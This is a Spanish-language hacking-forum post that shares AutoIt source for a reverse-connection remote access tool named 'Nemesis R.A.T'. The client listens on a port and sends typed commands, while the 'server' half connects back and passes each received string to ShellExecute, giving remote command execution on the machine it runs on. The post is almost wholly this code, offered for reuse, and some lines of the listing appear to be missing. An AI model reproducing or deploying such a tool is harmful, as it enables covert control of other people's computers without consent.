3. [Scr] Conexión Inversa
Páginas: [1]   Ir Abajo
« anterior próximo »

[Scr] Conexión Inversa

  • 0 Respuestas
  • 2619 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado k0ws

  • *
  • Underc0der
  • Mensajes: 145
  • Actividad:
    0%
  • Reputación 0
  • I'm Back
  • Skype: k0wsit0
    • Ver Perfil

[Scr] Conexión Inversa

  • en: Enero 29, 2013, 05:12:32 am
Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:

Código: AutoIt
  1. ;Cliente - Author k0ws
  2.  
  3. #include <ButtonConstants.au3>
  4. #include <EditConstants.au3>
  5. #include <GUIConstantsEx.au3>
  6. #include <WindowsConstants.au3>
  7. #Region ### START Koda GUI section ### Form=
  8. $Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
  9. $Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
  10. $Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
  11. $Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
  12. $Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
  14. #EndRegion ### END Koda GUI section ###
  15. ;######################################
  16. Local $szIPADDRESS = @IPAddress1
  17.     Local $nPORT = 3460
  18.     Local $MainSocket, $ConnectedSocket, $szIP_Accepted
  19.     Local $msg, $recv
  21.    $nMsg = GUIGetMsg()
  22.    Switch $nMsg
  23.       Case $GUI_EVENT_CLOSE
  24.          Exit
  25.      Case $Input1
  26.       Case $Button1
  27.             TCPStartup()
  28.          $MainSocket = TCPListen($szIPADDRESS, $nPORT)
  29. If $MainSocket = -1 Then Exit
  30. $ConnectedSocket = -1
  32.         $ConnectedSocket = TCPAccept($MainSocket)
  33.     Until $ConnectedSocket <> -1
  34. $szIP_Accepted = SocketToIP($ConnectedSocket)
  35.    GUICtrlSetData($Input1,$szIP_Accepted)
  36.  Case $Button2
  38.  Case $Button3
  39.    $szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
  40.    If @error Or $szData = "" Then ExitLoop
  41.             TCPSend($ConnectedSocket, StringToBinary($szData, 4))
  42.          If @error Then ExitLoop
  45. Func SocketToIP($SHOCKET)
  46.     Local $sockaddr, $aRet
  47.  
  48.     $sockaddr = DllStructCreate("short;ushort;uint;char[8]")
  49.  
  50.     $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
  51.             "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
  52.     If Not @error And $aRet[0] = 0 Then
  53.         $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
  54.         If Not @error Then $aRet = $aRet[0]
  55.     Else
  56.         $aRet = 0
  57.     EndIf
  58.  
  59.     $sockaddr = 0
  60.  
  61.     Return $aRet

Código: AutoIt
  1. ;Server - Author k0ws
  2.  
  3. StartSvr()
  4. Func StartSvr()
  5.     TCPStartup()
  6.    Local $ConnectedSocket, $szData
  7.     Local $szIPADDRESS = @IPAddress1
  8.     Local $nPORT = 3460
  9.    $ConnectedSocket = -1
  10.    $ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
  11.     If @error Then StartSvr()
  12.        While 1
  13.         $recv = TCPRecv($ConnectedSocket, 2048)
  14.         If @error Then ExitLoop
  15.          $recv = BinaryToString($recv, 4)
  16.            If $recv <> "" Then ShellExecute($recv)
  17.     WEnd
  19.  

-Saludos-
« Última modificación: Enero 31, 2013, 02:08:52 pm por k0ws »
En línea
Páginas: [1]   Ir Arriba
« anterior próximo »
 

[VBS] Saber si hay conexión a internet.

Iniciado por 79137913

 Respuestas: 0
Vistas: 3119 		Último mensaje Enero 04, 2016, 09:55:57 am
por 79137913